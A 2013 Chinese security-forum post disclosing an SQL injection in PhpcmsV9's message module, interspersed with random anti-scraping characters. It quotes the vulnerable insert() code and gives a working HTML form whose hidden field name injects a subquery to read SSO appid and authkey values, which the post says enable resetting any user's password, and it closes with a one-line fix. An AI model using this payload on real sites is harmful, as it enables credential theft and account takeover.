找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2399|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:& z) U% y2 d. ^/ D# j
  O- T0 ]- @: h2 v% Z7 Y
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。) g# b+ I, k6 \) |0 d) q
( a7 ~+ U# n" L& q% U
明天再更新下一个漏洞。
% \7 _% j$ A# `/ a! H8 X2 E详细说明:
, M: {# G- `1 e: I+ C& @. M在/phpcms9/phpcms/modules/message/index.php中有代码如下:1 }! q) S, R) x! K4 W7 u

6 H0 F4 ?. Z! a0 C! ^7 `$messageid = $this->message_db->insert($_POST['info'],true);
9 L: U1 l) v4 H
) h1 U( ?0 a$ _* _) Z& r9 I, q3 C' E* V, ~/ u. ]0 J+ }. @
insert方法是key value的,代码如下:( I! L- L* l8 {" i% v3 n

6 G4 c' Q6 }! ~5 x5 ?! A+ `public function insert($data, $table, $return_insert_id = false, $replace = false) {
4 N; Q8 j8 X' d  \' O" o0 C                if(!is_array( $data ) || $table == '' || count($data) == 0) {5 e0 q8 S0 r3 f( N6 W+ N. Q5 S9 a
                        return false;' h1 O% V8 @1 Q+ r9 _( M
                }" e$ n+ B3 l& b; }( w; m* n
                - X. F# y& x, j) P7 n
                $fielddata = array_keys($data);+ K; C: Y3 A4 F9 j/ l/ S
                $valuedata = array_values($data);3 H' Q! `8 p$ K- s7 x, C4 i
                array_walk($fielddata, array($this, 'add_special_char'));
$ o8 x3 H: S1 H" e$ q6 y                array_walk($valuedata, array($this, 'escape_string'));
/ u8 N2 y, Y. s) I( ^4 o7 J                - I& d5 x& }3 Z" `- d
                $field = implode (',', $fielddata);8 x) D. }( u4 D( V
                $value = implode (',', $valuedata);
6 v6 u4 K2 [- p" X( c5 {
- h( ^; a. d) k$ c                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
0 F% [7 @* s/ C- p0 O                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';8 c$ U8 @8 |2 e0 C; N
                $return = $this->execute($sql);* F+ _4 R1 q0 M7 {
                return $return_insert_id ? $this->insert_id() : $return;
, T5 J. n1 ^9 V* J  z6 B        }
# Z2 d1 k( r* C5 _# w$ B5 T, U. J$ C# F. x; H6 B

1 V7 g; }4 d+ z. x嗯,很遗憾的是. {9 R$ R" }) Y: g/ d
& P2 k# e; }5 H3 h& C! K: [5 t) `+ m
array_walk($fielddata, array($this, 'add_special_char'));
& _8 ?9 s3 N4 o/ v
; D" b, ~/ j9 j' u6 T0 I, g
- r: X  p8 K5 ~  H6 ?8 d: {" s中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。) s8 ~& j; }- d5 q2 \& l
; c! s$ D0 [+ C7 `
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。' _/ r6 y$ X+ h- V4 s$ \
7 `) W- L5 A9 a8 K* q
漏洞证明:3 K0 ~6 C: Q* d% `/ h+ a2 X) v/ l
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。/ o( V5 G$ J+ m9 Y

+ Z$ A7 e* W* z( Q; B; v! K5 d
: |9 E& N5 f; }5 j* w) e表单如下:用户名什么的得自己改一改。
! x5 F9 A4 E1 g3 N9 d' ?) T2 u<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">( {* Z+ Z  I) c* t
<table width="100%" cellspacing="0" class="table_form">
, E+ f& r2 K2 Q<tr>8 b5 d( B6 G8 |' @3 u6 V
<th>标 题:</th>5 j* w7 X& P+ H" H; o: t9 w7 J
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>3 D  a# D1 i& Z" j% v
</tr> 6 X5 V* L2 W8 S
<tr>- P. X% F3 Q# L
<th>内 容:</th>0 K; [0 k" S4 U5 K; ?# R
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>; x- k, o2 o) w+ b9 Q7 [
</tr>6 p" D$ K: Q4 p2 j1 K  [8 x
<input type="hidden" name="info[replyid]" value="2" /> ) L) g) t( K; u/ o' |$ l, T
<input type="hidden" name="info[send_to_id]" value="cc" />
# P  W7 J( S  d* U; s1 d<input type="hidden" name="info[send_from_id]" value="hh">
/ l5 T7 ~  C, Y) b0 Z5 O0 w9 ^<!-- 漏洞的利用重点在这里开始 -->
  f8 g; {! ?; D) D( L& l7 _<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> $ g1 x2 y" t5 d& T" n
<!-- 漏洞的利用重点在这里结束 -->, v; Z+ J5 n1 z% g5 t+ g3 G! x
<tr>. e# O  Z5 H+ x
<th>验证码:</th>
5 ^* y- W* {, S<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>2 f' C7 f8 P: B/ W( S% b/ k4 |
</tr>
+ b$ T* T) [0 k  u; u<tr>
# ?" y9 o  w* t% R<td></td>. r+ A+ K( [- v& v0 B8 U. V. n. j
<td colspan="2"><label>
7 Q/ @/ b7 C" \7 H+ Y2 o<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
) i0 u. |0 D  Q% q8 [8 b</label></td>- Q1 J' O4 ^; v
</tr>$ N0 w& i( I3 f( K
</table>
( m; k. A, W6 l& {# Y# W</form>' P6 ^9 ~, ?0 I! s! a" A& D
在add_special_char函数内对key做过滤就可以了。
' L# t( J2 x$ a+ [# [( R/ f4 C2 s4 I6 m' m
/ |# r" h5 X' u0 R, I6 t
9 F$ ?& @, I5 l/ V6 d

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表